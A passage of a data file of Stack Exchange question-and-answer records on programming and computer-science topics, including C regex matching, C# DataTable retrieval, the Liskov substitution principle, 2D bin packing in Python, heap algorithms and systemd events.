servers.vncservervncserver is just a frontend Perl script that helps ease the complexity of setting up VNC + X on remote servers that you'll be using VNC to connect to.vncserver is used to start a VNC (Virtual Network Computing) desktop. vncserver is a Perl script which simplifies the process of  starting an Xvnc server.  It runs Xvnc with appropriate options and starts a window manager on the VNC desktop.ReferencesVirtual Network Computing - Wikipedia"  } 
{  "id": "_codereview.44027"  , "question": "I've created a regular expression (regex) parsing library in C, and would like some feedback on it.  Speed is really important to me, but any and all suggestions are acceptable.#include <ctype.h>static int regex_matchHere(const char *regex, char *s, int *len);static int regex_matchGroup(int c, int group);static int regex_matchQuantity(int quant, int c, const char *regex, char *s, int *len);int regex_match(const char *regex, char *s, int *len){    char *p = s;    /* force match from the beginning of the string */    if (regex[0] == '^') return (regex_matchHere(regex + 1, s, len) ? 0 : -1);    /* iterate the string to find matching position */    do    {        *len = 0;        if (regex_matchHere(regex, p, len)) return (int)(p - s);    } while (*p++ != '\\0');    return -1;}static int regex_matchHere(const char *regex, char *s, int *len){    int c = regex[0];    if (regex[0] == '\\0') return 1; /* end of regex = full match */    else if (regex[0] == '$' && regex[1] == '\\0') return (*s == '\\0'); /* check end of string */    else if (regex[0] == '\\\\' && regex[1] != '\\0') /* check escaped symbol */    {        c = regex[1];        if (c != '^' && c != '$' && c != '\\\\' && c != '+' && c != '*' && c != '-' && c != '?') c = c | 0x100;        regex = regex + 1;    }    /* check for special operators *,+,?,- */    if (regex[1] == '*' || regex[1] == '+' || regex[1] == '-' || regex[1] == '?') return regex_matchQuantity(regex[1], c, regex+2, s, len);    else if (*s != '\\0' && regex_matchGroup(*s, c))    {        *len = *len + 1;        return regex_matchHere(regex+1, s+1, len);    }    return 0;}static int regex_matchGroup(int c, int group){    if ((group & 0xff) == '.') group ^= 0x100;    if (group < 0x100) return c == group; /* a single char */    /* a meta char, like \\d, ... */    switch (group & 0xff)    {        case 'd': return isdigit(c);        case 's': return isspace(c);        case 'D': return !isdigit(c);        case 'S': return !isspace(c);        case '.': return 1;    }    return 0;}static int regex_matchQuantity(int quant, int c, const char *regex, char *s, int *len){    if (quant == '?')    {        if (regex_matchGroup(*s, c))        {            *len = *len + 1;            s = s + 1;        }        return regex_matchHere(regex, s, len);    }    if (quant == '+' || quant == '*') /* match as much as possible */    {        char *p;        for (p = s; *p != '\\0' && regex_matchGroup(*p, c); p++) *len = *len + 1;        if (quant == '+' && p == s) return 0;        do        {            if (regex_matchHere(regex, p, len)) return 1;            *len = *len - 1;        } while (p-- > s);    }    else if (quant == '-') /* match as little as possible */    {        do        {            if (regex_matchHere(regex, s, len)) return 1;            *len = *len + 1;        } while (*s != '\\0' && regex_matchGroup(*s++, c));    }    return 0;}"  , "title": "A regular expression parsing library in C"  , "tags": "performance;c;parsing;regex;library"  , "accepted_answer": "What you did wellThe code seems clean and logically organized.  I like your 0x100-bit hack to indicate special characters.  You could make that convention more obvious in the comments, though.What you could improve onThe return value of regex_match() is weird.  I'd like it to return a non-zero value if the match succeeded, and a zero value if the match failed, so that I can call it like this:if (regex_match(...)) {    // Do stuff for successful match} else {    // Do stuff for failed match}Trying to return the position of the match just leads to confusion, reminiscent of the way PHP's strpos() returns 0 to indicate a successful match at the beginning of the subject (but FALSE to indicate a non-match).  You don't want to be like PHP, do you?I suggest that the signature for regex_match() should look like this:/** * Returns 1 if matched, 0 if not matched. * * Pass a pointer to a match_result if you care to find out the * details of the match (its length, position, and possibly other * information supported in the future, such as parenthesized * capture groups), or pass a NULL if you don't care about the details. */int regex_match(const char *regex, const char *subject, struct match_result *result);Alternatively, return a pointer to a new struct match_result if the match succeeded.  The caller would have to free() the result later, though, so I don't like it as much.Regular expressions often include modifier flags, such as a case-insensitive flag or a continue-searching-where-the-previous-match-ended flag.  You might want to plan your interfaces accordingly.  (To support the latter, the struct match_result* would probably become an in-out parameter rather than an out-parameter.)For performance, regular expressions are frequently compiled into an automaton.  You interpret the regular expressions as you go.  You may wish design the library's interface to have a regex_compile() function that transforms the expression into a struct that is meaningful to your library but opaque to the user.  For now, the compilation could just be the identity transformation; you can enhance it later when the need for better performance arises or when you enhance the feature set of the regular expressions.The function name regex_matchGroup() confuses me.  Group implies something like parentheses, I think.  regex_matchAtom() might be a more appropriate name.You need unit tests!"  } 
{  "id": "_cs.1801"  , "question": "If there were an algorithm that factored in polynomial time by means of examining each possible factor of a complex number efficiently, could one not also use this algorithm to solve unbounded knapsack problems since two factors can be viewed as one value, say within the set for the knapsack problem, and the other being the number of copies of the first factor?FACTOR 15; 3, 5Unbounded KNAPSACK with value of 15 and the set of all integers; {5,5,5} andor {3,3,3,3,3}Would this mean FACTOR was NP-Complete?Would solving unbounded knapsack problems in polynomial time in this way prove P=NP?"  , "title": "From FACTOR To KNAPSACK"  , "tags": "complexity theory;np complete;integers;knapsack problems"  , "accepted_answer": "(1) NP-complete only contains problems that can be answered by Yes or No, which are called decision problems. So FACTOR is not an NP-complete problem even your reduction is correct. In fact, if your reduction were correct, it proves that FACTOR is NP-hard.(2) If you want to prove the NP-hardness of FACTOR by reducing UKP (unbounded knapsack problem) to it, you should find an integer $M$ (in polynomial time) for each instance $I$ of UKP and show that the answer of $I$ can be gotten (in polynomial time) using the factorization of $M$.In your proof, you can only solve a specific subset of UKP instances by FACTOR, so it is not a correct reduction."  } 
{  "id": "_codereview.66480"  , "question": "I am quite new to C# and to the ASP.NET programming. When maintaining the legacy code, I have found rather terrible implementation of the method that is used on many places to get the DataTable object with the data filled by the SQL command.Here is my first approach to rewrite it. Does using work with the return as shown below? Should the da and ds be released explicitly somehow? If ds is released, is the returned DataTable reference counted so that it will not be deleted?public DataTable getdata2(string connection_string_id, string sqlcmd){    string connstring = ConfigurationManager        .ConnectionStrings[connection_string_id].ConnectionString;    // Open the connection and return the first table.    // A single one should be there, only.    using (SqlConnection con = new SqlConnection(connstring))    {        SqlDataAdapter da = new SqlDataAdapter(sqlcmd, con);        DataSet ds = new DataSet();        da.Fill(ds);        Debug.Assert(ds.Tables.Count == 1);        return ds.Tables[0];    }}"  , "title": "Method for getting the DataTable when having connection ID and the SQL command"  , "tags": "c#;beginner;asp.net;.net datatable"  , "accepted_answer": "Like janos already stated it is ok to return out of an using block.NamingBased on the naming guidelines, method names should be named using PascalCase casing. So getData2 should become GetData2 which should be still renamed to a more meaningful name.Also input parameters should be named using camelCase casing, so connection_string_id should become connectionStringId.If you are sure, that there will only be 1 table, you can also use the overloaded Fill() method which takes a DataTable as input parameter.You could also stack the usings, but this is a matter of taste.using (SqlConnection con = new SqlConnection(connstring))using (SqlDataAdapter adapter = new SqlDataAdapter(sqlcmd, con)){    con.Open();    DataTable dataTable = new DataTable();    adapter.Fill(dataTable);    return dataTable ;}In my opinion, your code does a little bit to much.Retrieving the ConnectionString Query the database  So let us add a method to retrieve the ConnectionString, which is then passed to the Getdata2() method.private String GetConnectionString(String connectionStringId){    return ConfigurationManager        .ConnectionStrings[connectionStringId].ConnectionString;}  public DataTable GetData2(String connectionString, String sqlCommand){    using (SqlConnection connection = new SqlConnection(connectionString))    using (SqlDataAdapter adapter = new SqlDataAdapter(sqlCommand, connection))    {        con.Open();        DataTable dataTable = new DataTable();        adapter.Fill(dataTable);        return dataTable ;    }}To answer when to use using: use it if the related object implements the IDisposable interface."  } 
{  "id": "_softwareengineering.206647"  , "question": "It is an error if you do anything in a constructor before calling the superconstructor. I remember that I had problems because of that. Yet, I do not see how this saves us from errors. It could save you from using uninitialized fields. But, the Java compiler that checks for using uninitalized variables does that and this stupid rule does not improve anything here. The only serious consideration argument I remember was that we need it for OOP, because objects in real life are constructed this way: you create a cucumber by first creating a vegetable and then add cucumber attributes. IMO, it is opposite. You first create a cucumber and, by duck is a duck principle, it becomes a vegetable. Another argument was that it improves safety. Not writing the code improves the dependability much better, so I do not consider this as argument. Creating more complex code when you need to workaround a stupid restriction, is what makes the program more error-prone. This rule creates a serious pain (at least for me). So, I want to hear the serious argument and serious example where it could be useful."  , "title": "Why must a constructor's call to the superconstructor be the first call?"  , "tags": "java;language design;language features;construction;constructors"  } 
{  "id": "_cs.56205"  , "question": "I want to find the longest substring which is repeated without any gap between the repetitions.  That is, given a string $x$, I want to find the longest $y$ such that $yy$ is a substring of $x$.What I mean is the following cases:In aa         I want a    with a position of 0 and repetition of 2In aaab       I want a    with a position of 0 and repetition of 3In abc        I want      (false or whatever)In abababc    I want ab   with a position of 0 and repetition of 3In aaabbbb    I want b    with a position of 3 and repetition of 4In eabcdabcde I want abcd with a position of 1 and repetition of 2In cababcab   I want ab   with a position of 1 and repetition of 2 (not 3, because of the c between the three ab's)I've been looking at various suffix and prefix algorithms, but none of them has the no gaps part build into it. Both LCP arrays and Suffix arrays seems to suffer from this.Googling for Longest repeated substrings gives me algorithms which e.g. find hello in abcdehellofghijhelloklmn, but this is not what I want."  , "title": "Longest substring with consecutive repetitions"  , "tags": "algorithms;optimization;strings;substrings;longest common substring"  } 
{  "id": "_codereview.93480"  , "question": "The goal is to list out some data, but the methods vary on options, and whether the user is on a touch device.This is my current function declaration. Very non-DRY. Values of isTouch and headlinesOnly don't change during loop, so I don't want to make if tests inside the loop.Edit: This is primarily meant for a memory-sensitive environment which, when not handled properly, reboots to safe mode, not a regular browser. (But I'm making it for both.)var makeElement;if (isTouch) {    if (headlinesOnly) {        makeElement = function(item, top, left) {            var a = document.createElement(a);            a.setAttribute('ontouchstart', 'itemTouchStart()');            a.setAttribute('ontouchmove', 'itemTouchMove()');            a.setAttribute('ontouchend', 'itemTouchEnd(\\'' + item.link + '\\')');            a.style.top = top + 'px';            a.style.left = left + 'px';            a.innerHTML = '<h1>' + item.title + '</h1>';            return a;        };    }    else {        makeElement = function(item, top, left) {            var a = document.createElement(a);            a.setAttribute('ontouchstart', 'itemTouchStart()');            a.setAttribute('ontouchmove', 'itemTouchMove()');            a.setAttribute('ontouchend', 'itemTouchEnd(\\'' + item.link + '\\')');            a.style.top = top + 'px';            a.style.left = left + 'px';            a.innerHTML = '<h1>' + item.title + '</h1>'                        + '<div>' + item.content + '</h1>';            return a;        };    }    var dragging;    window['itemTouchStart'] = function() {        dragging = false;    };    window['itemTouchMove'] = function() {        dragging = true;    };    window['itemTouchEnd'] = function(url) {        if (dragging) return;        if (cycript) {            tryOpenUrl(url);        }        else {            window.open(url, _blank);        }    };}else {    if (headlinesOnly) {        makeElement = function(item, top, left) {            var a = document.createElement(a);            a.setAttribute('onmouseup', 'itemMouseUp(\\'' + item.link + '\\')');            a.style.top = top + 'px';            a.style.left = left + 'px';            a.innerHTML = '<h1>' + item.title + '</h1>';            return a;        };    }    else {        makeElement = function(item, top, left) {            var a = document.createElement(a);            a.setAttribute('onmouseup', 'itemMouseUp(\\'' + item.link + '\\')');            a.style.top = top + 'px';            a.style.left = left + 'px';            a.innerHTML = '<h1>' + item.title + '</h1>'                        + '<div>' + item.content + '</h1>';            return a;        };    }    window['itemMouseUp'] = function(url) {        window.open(url, _blank);    };}var item = myCollection.shift();container.appendChild(makeElement(item));var columnWidth = container.childNodes[0].offsetWidth;var containerWidth = container.offsetWidth;var numberOfColumns = containerWidth / columnWidth;var columns = [];for (var i = 0; i < numberOfColumns; i++) {    this.columns.push(0);}while (item = myCollection.shift()) {    var sh = getShortestColumn();    var itemElement = makeElement(item, sh.height, sh.index * columnWidth);    container.appendChild(itemElement);    columns[sh.index] += itemElement.offsetHeight;}"  , "title": "Render elements from an array of objects"  , "tags": "javascript"  , "accepted_answer": "The two makeElement functions are the same, except for the innerHTML.You could move the common part to its own function,and make it take innerHTML as parameter:function createAnchor(item, top, left, innerHTML) {    var a = document.createElement(a);    a.setAttribute('ontouchstart', 'itemTouchStart()');    a.setAttribute('ontouchmove', 'itemTouchMove()');    a.setAttribute('ontouchend', 'itemTouchEnd(\\'' + item.link + '\\')');    a.style.top = top + 'px';    a.style.left = left + 'px';    a.innerHTML = innerHTML;    return a;}And then the code can be a bit simpler:if (headlinesOnly) {    makeElement = function(item, top, left) {        var innerHTML = '<h1>' + item.title + '</h1>';        return createAnchor(item, top, left, innerHTML);    };} else {    makeElement = function(item, top, left) {        var innerHTML = '<h1>' + item.title + '</h1>'                    + '<div>' + item.content + '</h1>';        return createAnchor(item, top, left, innerHTML);    };}You can do likewise for the other functions too.You can have a chain of these helper functions:one function that creates a very primitive anchor,setting only top and left,and other helpers can build on top of it to set the event handlers and inner html that they need."  } 
{  "id": "_unix.280320"  , "question": "In upstart, it was possible to send custom events with initctl emit custom-event. It was also possible to use these custom events on the start on and stop on stanzas. Does systemd provides something similar to this? There is no mention of it on the SystemdForUpstartUsers page of Ubuntu wiki."  , "title": "Is there any systemd equivalent to initctl emit?"  , "tags": "systemd;upstart"  , "accepted_answer": "No.  This is one of the fundamental differences between upstart and systemd.  upstart is event-based, one of the novel design features that was touted when it was introduced.  systemd is not event-based.You'll have to work out what you are using initctl emit for, and determine how to achieve that in the different systemd model."  } 
{  "id": "_vi.7687"  , "question": "I tried python-mode, it seems that it can work when I press K on numpy.array, but if I want to press K on np.array, it won't work."  , "title": "How can I get python library help in vim?"  , "tags": "vimscript python"  , "accepted_answer": "Try using the vim-jedi plugin.  It uses Jedi to get completions and is much better at doing so than python-rope is.  It will resolve np.array to numpy.array and show the appropriate documentation in a tab/split.  Be warned that numpy is notoriously slow for Jedi to resolve when it's not cached.zondo's suggestion to use :!pydoc numpy.array does work, but I find it annoying because I can't use Vim mappings to navigate the output, yank text from it, or leave it open for reference.  There's also the issue of using a virutalenv, which may not have pydoc in the virtualenv's $PATH.  In that case, you would have to use: :!python -m pydoc numpy.array."  } 
{  "id": "_datascience.17977"  , "question": "I know some techniques for augmenting data when images are used, but I don't know if there are any such techniques specifically catered to videos. Since videos have an additional temporal dimension compared to images I was wondering if there were any techniques that augments the video data using the view points and the motion information etc "  , "title": "Data Augmentation in videos"  , "tags": "deep learning;data augmentation"  } 
{  "id": "_cs.14230"  , "question": "This is very much clear to me that an FSM has limited memory (sufficient to store present state). How do I prove that (intutively or otherwise) that a CFL has more memory than a DFA or NFA (thus making a CFL more powerful than FA) ?   "  , "title": "How do I prove that Context Free languages have more memory than FSM"  , "tags": "formal languages;context free"  } 
{  "id": "_cs.38221"  , "question": "I have to find a solution for this equation:I have to find the set of solutions a, b, c, d for all possible combinations of values 1 <= x <= n.$a^5 + b^5 = c^5 + d ^ 5$I first thought about using a heap, because it is what I am learning, but I can't seem to come up with a pattern.I was told that my algorithm should run in $O(n^2\\log(n))$ so I know I would have to use a heap of size n, with n*2 inserts into its structure.That's as far as I got, can someone hint me?"  , "title": "Using a binary heap to solve an equation"  , "tags": "algorithms;combinatorics;heaps"  } 
{  "id": "_unix.287541"  , "question": "Mac OS X Terminal marks are incredibly useful.For example, when I type a command that echoes a lot output, it's easy to read the beginning with Cmd+Up. It will scroll to the last command and highlight it, since there's the option Automatically Mark Prompt Lines and Cmd+Up will scroll to the last mark.Is there any terminal emulator with this functionality? Or some plugin, whatever. How do you go fast to the last command, highlighting it?"  , "title": "Scroll to the last command on Terminal? (like OS X Terminal marks)"  , "tags": "terminal;command;command history;terminal emulator"  } 
{  "id": "_softwareengineering.306157"  , "question": "Let's say I have an interface FooInterface that has the following signature:interface FooInterface {    public function doSomething(SomethingInterface something);}And a concrete class ConcreteFoo that implements that interface:class ConcreteFoo implements FooInterface {    public function doSomething(SomethingInterface something) {    }}I'd like to ConcreteFoo::doSomething() to do something unique if it's passed a special type of SomethingInterface object (let's say it's called SpecialSomething).It's definitely a LSP violation if I strengthen the preconditions of the method or throw a new exception, but would it still be an LSP violation if I special-cased SpecialSomething objects while providing a fallback for generic SomethingInterface objects? Something like:class ConcreteFoo implements FooInterface {    public function doSomething(SomethingInterface something) {        if (something instanceof SpecialSomething) {            // Do SpecialSomething magic        }        else {            // Do generic SomethingInterface magic        }    }}"  , "title": "Do special-cases with fallbacks violate the Liskov Substitution Principle?"  , "tags": "object oriented;solid;liskov substitution"  , "accepted_answer": "It might be a violation of LSP depending on what else is in the contract for the doSomething method. But it's almost certainly a code smell even if it doesn't violate LSP.For example, if part of the contract of doSomething is that it will call something.commitUpdates() at least once before returning, and for the special case it calls commitSpecialUpdates() instead, then that is a violation of LSP. Even if SpecialSomething's commitSpecialUpdates() method was consciously designed to do all of the same stuff as commitUpdates(), that's just preemptively hacking around the LSP violation, and is exactly the sort of hackery one would not have to do if one followed LSP consistently. Whether anything like this applies to your case is something you'll have to figure out by checking your contract for that method (whether explicit or implicit).The reason this is a code smell is because checking the concrete type of one of your arguments misses the point of defining an interface/abstract type for it in the first place, and because in principle you can no longer guarantee the method even works (imagine if someone writes a subclass of SpecialSomething with the assumption that commitUpdates() will get called). First of all, try to make these special updates work within the existing SomethingInterface; that's the best possible outcome. If you're really sure you can't do that, then you need to update the interface. If you don't control the interface, then you may need to consider writing your own interface that does do what you want. If you can't even come up with an interface that works for all of them, maybe you should scrap the interface entirely and have multiple methods taking different concrete types, or maybe an even bigger refactor is in order. We'd have to know more about the magic you've commented out to tell which of these is appropriate."  } 
{  "id": "_cstheory.33433"  , "question": "A set is $\\mathsf{P}$-immune iff it has no non-trivial $\\mathsf{P}$ subset.Is every $\\mathsf{coNP}$-complete language $\\mathsf{P}$-isomorphic to  an $\\mathsf{P}$-immune $\\mathsf{coNP}$-complete language?Joshua Grochow's answer to my previous questions shows the answer is negative assuming cryptographic conjectures.Is it possible to show the answer is negative only assuming  $\\mathsf{P}\\neq\\mathsf{NP}$?Or show the answer as positive with  additional assumptions.As @Kaveh points out based upon a P isomorphism assumption (Bertman-Hartmanis conjecture) one only has to show the existence of one such language."  , "title": "Is every coNP-complete language P-isomorphic to an P-immune coNP-complete language? OR Is there a P-immune coNP-complete language?"  , "tags": "cc.complexity theory;np complete;structural complexity"  } 
{  "id": "_webapps.96049"  , "question": "I'm looking for an attachment that happens to be a password-protected PDF file (you need to type the password to open it). Is there a way to search Gmail for such files?"  , "title": "How can I search Gmail for password-protected PDFs?"  , "tags": "gmail;passwords;pdf;gmail attachments"  , "accepted_answer": "You can search for PDF attachments, certainly. But Gmail has no idea whether a PDF is password-protected or not.Searching for filename:pdf has:attachment should return all of your conversations with a PDF attachment.If the sender mentioned that it was password-protected in the body of the message, this might be helpful:filename:pdf has:attachment password"  } 
{  "id": "_webmaster.13515"  , "question": "Now every major browser supports border-radius, I was wondering what the best way to get rounded corners in IE7 and IE8 is until IE9+ becomes most dominant version of IE.I've seen several javascript based solutions, but I was wondering if anyone could recommend one they've used themselves?"  , "title": "Rounded corners in IE7 and IE8"  , "tags": "html;javascript;internet explorer"  , "accepted_answer": "This web page explains how to do it. "  } 
{  "id": "_codereview.173493"  , "question": "I wrote a 2D greedy bin packing algorithm using Python 3.6Heres a quick summary:The algorithm consists of two classes (which I will attach at the end of this file along with a link to my github repo): BinPack and BinTree. The BinTree class is a tree that represents a single 2D bin. The BinPack class is the main interface, ranks BinTrees by available space, and selects BinTrees for item insertion. Item insertion into a BinTree is done by traversing down from the root node until an unoccupied node is found which can fit the item. Then that node is resized to the size of the item, and two child nodes are created (if necessary) the size of the remainder space on the left and the bottom of the resized node. BinPack picks which BinTree to insert into using an AVL Tree. Each BinTree Tree maintains a value for its largest unoccupied child. These values are used to rank all the BinTrees Trees in the AVL Tree. Then the best fit heuristic is used to pick the Tree where an insertion would result in the smallest leftover space. If all the Trees are full a new Tree is created.Here is an example of usage:In [15]: import binpackIn [34]: pack = binpack.BinPack(bin_size=(4, 8))In [16]: pack.insert((2,2), (2,4), (4,5), (10,5))In [17]: pack.print_stats()Out[17]:{0: {'area': 32,  'efficiency': 0.875,  'height': 8,  'items': [(CornerPoint(x=0, y=0), Item(width=4, height=5)),   (CornerPoint(x=0, y=5), Item(width=2, height=2)),   (CornerPoint(x=2, y=5), Item(width=2, height=2))],  'width': 4}, 1: {'area': 32,  'efficiency': 0.25,  'height': 8,  'items': [(CornerPoint(x=0, y=0), Item(width=2, height=4))],  'width': 4}, 2: {'area': 32,  'efficiency': 0.625,  'height': 8,  'items': [(CornerPoint(x=0, y=0), Item(width=4, height=5))],  'width': 4}, 3: {'area': 32,  'efficiency': 0.25,  'height': 8,  'items': [(CornerPoint(x=0, y=0), Item(width=2, height=4))],  'width': 4}, 'oversized': [Item(width=10, height=5)]}My Questions:Is my BinTree class a good way of representing 2D bins? It seemed really intuitive it to me but it does create complications such as:Inserting a (3,4) item then a (1,8) item into a (4,8) Tree the (1,8) item wont fit. The (3,4) insertion will cause the BinTree to be resized to (3,4) with a right child sized (1,4) and bottom child sized (4,4). This leaves no single node with the space for the (1,8) item.I know that AVL Trees are recommended for ranking bins in one dimensional greedy binpack algorithms. But with two dimensions the largest available space becomes less relevant. One Tree could have a bigger largest child area but then a second Tree but the second Tree could have a smaller empty node that would fit the item better. Rather then ranking each bin, would it be better to rank all the unoccupied nodes of all the trees in the AVL tree?Lastly, are there any huge code smells or bad ideas in my implementation? I've largely come up with this algorithm based on 1D greedy algorithm examples i've seen online. Everything I find talking about 2+ dimensions tends to be highly technical and focus on mathematical proofs over implementation details. My Code:BinTreefrom typing import NamedTuplefrom collections import dequeclass CornerPoint(NamedTuple):        namedtuple representing the top left corner of each    BinTree object.        x: int    y: intclass Item(NamedTuple):        namedtuple representing objects added to BinTree.        width: int    height: intclass BinTree:        Each BinTree instance has two children (left and bottom)    and width (int), height (int), and occupied (bool) properties.        def __init__(self, dims: tuple = (4, 8)) -> None:        self.corner = CornerPoint(0, 0)        self.dims = dims        self.occupied = False        self.parent = None        self.right = None        self.bottom = None        if not self.occupied:            self.largest_child = tuple(self.dims)        else:            self.largest_child = None    def _check_dim(item_dim: int, bin_dim: int) -> bool:                Checks if the item will fit the bin in the specified        dimension.                pass    def insert(self, item: Item) -> bool:                Recursive item insertion        Takes an Item namedtuple        Inserts recursively as a side-effect        Returns True or False if Item fit in bin                if not self.occupied and item.width <= self.dims[0] and item.height <= self.dims[1]:            if self.dims[1] - item.height > 0:                self.bottom = BinTree(dims=[self.dims[0], self.dims[1]-item.height])                self.bottom.parent = self            if self.dims[0] - item.width > 0:                self.right = BinTree(dims=[self.dims[0]-item.width, item.height])                self.right.parent = self            self.dims = (item.width, item.height)            self.occupied = item            if self.right:                self.right.corner = CornerPoint(self.dims[0] + self.corner.x, self.corner.y)            if self.bottom:                self.bottom.corner = CornerPoint(self.corner.x, self.dims[1] + self.corner.y)            self.calc_largest_child()            return True        else:            if (self.right and self.right.largest_child[0] >= item.width and                    self.right.largest_child[1] >= item.height):                self.right.insert(item)            elif (self.bottom and self.bottom.largest_child[0] >= item.width and                  self.bottom.largest_child[1] >= item.height):                self.bottom.insert(item)            else:                return False    def calc_largest_child(self) -> None:                Updates self.largest_child for each node recursively        back to the root node                choices = []        if not self.occupied:            choices.append(self.dims)        else:            choices.append((0, 0))        if self.right:            choices.append(self.right.largest_child)        else:            choices.append((0, 0))        if self.bottom:            choices.append(self.bottom.largest_child)        else:            choices.append((0, 0))        self.largest_child = max(choices, key=lambda t: t[0]*t[1])        if self.parent:            self.parent.calc_largest_child()def bin_stats(root: BinTree) -> dict:        Returns a dictionary with compiled stats on the bin tree        stats = {                'width': 0,                'height': 0,                'area': 0,                'efficiency': 1.0,                'items': [],            }    stack = deque([root])    while stack:        node = stack.popleft()        stats['width'] += node.dims[0]        if node.right:            stack.append(node.right)    stack = deque([root])    while stack:        node = stack.popleft()        stats['height'] += node.dims[1]        if node.bottom:            stack.append(node.bottom)    stats['area'] = stats['width'] * stats['height']    stack = deque([root])    occupied = 0    while stack:        node = stack.popleft()        if node.occupied:            stats['items'].append((node.corner, node.occupied))            occupied += node.dims[0]*node.dims[1]        if node.right:            stack.append(node.right)        if node.bottom:            stack.append(node.bottom)    stats['efficiency'] = occupied / stats['area']    return statsBinpack:from collections import dequefrom operator import mul as productfrom . import avl_treefrom . import bintreeclass BinPack:        Bin Ranking System. the product of BinTree.largest_child    is used as a key value in an AVL Tree for ranking the bins.        def __init__(self, bin_size: tuple = (4, 8), sorting: bool = True):        self.bin_dict = {'oversized': []}        self.bin_size = bin_size        self.tree = avl_tree.AvlTree()        self.bin_count = 0        self.sorting = sorting        self._add_bin()    def _add_bin(self) -> None:                private method. Creates a new BinTree and adds        it to bin_dict and the AVL tree.                self.bin_dict[self.bin_count] = bintree.BinTree(list(self.bin_size))        bin_key = product(*self.bin_dict[self.bin_count].largest_child)        self.tree.insert(bin_key)        self.tree[bin_key].data.append(self.bin_count)        self.bin_count += 1    def insert(self, *items: tuple, heuristic: str = 'best_fit') -> None:        if self.sorting == True:            items = sorted(items, key=lambda a: product(*a), reverse=True)        for item in items:            if heuristic == 'best_fit':                self.best_fit(item)            elif heuristic == 'next_fit':                self.next_fit(item)    def _check_oversized(self, item: bintree.Item) -> bool:                Catch oversized items                if item[0] > self.bin_size[0] or item[1] > self.bin_size[1]:            self.bin_dict['oversized'].append(item)            return False        return True    def best_fit(self, item_dims: tuple) -> bool:                Best Fit Bin Selection        Public method.        Selects optimal BinTree (or creates        a new BinTree) for item insertion using first fit.        Returns BinTree ID.                item_area = product(*item_dims)        item = bintree.Item(*item_dims)        # Catch oversized items:        if self._check_oversized(item) == False:            return False        queue = deque([self.tree.root])        best_fit = None        best_fit_node = None        while queue:            current_node = queue.popleft()            current_bintree = self.bin_dict[current_node.data[-1]]            largest_child = current_bintree.largest_child            if (largest_child[0] >= item.width and                    largest_child[1] >= item.height):                if not best_fit or largest_child < best_fit.largest_child:                    best_fit = current_bintree                    best_fit_node = current_node                if current_node.left:                    queue.append(current_node.left)            else:                if current_node.right:                    queue.append(current_node.right)        if best_fit:            best_fit.insert(item)            # delete and reinsert node to update position in tree            nodeid = best_fit_node.data[-1]            old_key = best_fit_node.key            new_key = product(*best_fit.largest_child)            self.tree.delete(key=old_key)            self.tree.insert(key=new_key)            self.tree[new_key].data.append(nodeid)            return True        else:            self._add_bin()            self.bin_dict[self.bin_count-1].insert(item)            return True    def next_fit(self, item_dims: tuple) -> bool:                First Fit Bin Selection        Public method.        Selects optimal BinTree (or creates        a new BinTree) for item insertion using first fit.        Returns BinTree ID.                item_area = product(*item_dims)        item = bintree.Item(*item_dims)        # Catch oversized items:        if self._check_oversized(item) == False:            return False        queue = deque([self.tree.root])        while queue:            current_node = queue.popleft()            current_bintree = self.bin_dict[current_node.data[-1]]            largest_child = current_bintree.largest_child            if (largest_child[0] >= item.width and                    largest_child[1] >= item.height):                current_bintree.insert(item)                # delete and reinsert node to update position in tree                nodeid = current_node.data[-1]                old_key = current_node.key                new_key = product(*current_bintree.largest_child)                self.tree.delete(key=old_key)                self.tree.insert(key=new_key)                self.tree[new_key].data.append(nodeid)                return True            else:                if current_node.right:                    queue.append(current_node.right)                else:                    self._add_bin()                    self.next_fit(item_dims)        return False    def print_stats(self) -> None:                Returns layouts for all BinTrees                result = {}        for key, bin in self.bin_dict.items():            if key != 'oversized':                result[key] = bintree.bin_stats(bin)        result['oversized'] = self.bin_dict['oversized']        return resulthttps://github.com/ssbothwell/BinPack"  , "title": "2D Bin Packing Algorithm Implementation"  , "tags": "python;algorithm;python 3.x;tree;computational geometry"  } 
{  "id": "_cs.32181"  , "question": "I have a binary heap with $n$ elements.  I want to get the $k$ largest elements in this heap, in $O(k \\log k)$ time.  How do I do it?(Calling deletemax $k$ times yields a $O(k \\log n)$ complexity.  I'm looking for $O(k \\log k)$.)The only solution I've come up with so far is the following:You have 2 arrays. A(largest numbers), B(to analyze).It's easy to find the largest number, since we already have the heap. We move the maximum number to $A$.We move the maximum number's children to $B$We sort $B$We add the children of the largest number in $B$Remove the largest number from B (first element of $B$), add it to $A$Repeat the procedure until there are $k$ elements in $A$The question here is: do we get a $O(k \\log k)$ complexity? we obviously repeat the procedure $k$ times, but does the sorting take $O(\\log k)$ time? I guess if the array is already sorted it's easy to insert a new number in $O(\\log k)$ time. However, will the length of array B always be less than or equal to $k$?Can you please confirm or deny my solution? If it's wrong, can you please help me find a solution to this problem?"  , "title": "Find k maximum numbers from a heap of size n in O(klog(k)) time"  , "tags": "data structures;heaps"  , "accepted_answer": "Hint: Each time you perform one iteration of your loop, how much does the size of $B$ increase?  Each time you perform one iteration of your loop, how many numbers are added to $A$?You terminate once $k$ integers have been added to $A$... so how many times will the loop iterate?  What does this tell you about how large $B$ can get?  What does that say about the running time of your algorithm?(I am giving only a hint, so you can have the pleasure of working out the answer on your own.)"  } 
{  "id": "_unix.37014"  , "question": "I've been extremely annoyed with this issue for a while. I'm using TeXMaker on KDE to write my class notes in LaTeX and I sometimes need to copy paste text from it to some other applications while editing, the flashcard program Anki being one of them.TeXMaker uses syntax highlighting and for some reason hitting copy paste will copy the color tags with it together with tags for formatting. The end result is that Anki will treat the color tags as part of the LaTeX code and feed the code together with color tags into LaTeX, which of course makes any LaTeX compile fail.It seems like KDE apps include formatting and color data in the data that is sent to the clipboard. In other words it won't just be a sequence consisting of the characters you've typed, but it will contain various tags that essentially look like HTML.Anyone else stumbled on the same problem? Any way to fix it?"  , "title": "Copy paste problem on KDE"  , "tags": "kde;copy paste"  } 
{  "id": "_webmaster.107615"  , "question": "For example, I can shorten http://example.com with Google URL shortener goo.gl. If I get clicks to the Google shortened URL https://goo.gl/..., will I see goo.gl as the referrer in the analytics for example.com?"  , "title": "If we use goo.gl for a link, will Google be the referrer for that link?"  , "tags": "google;url;referrer;url shorteners"  } 
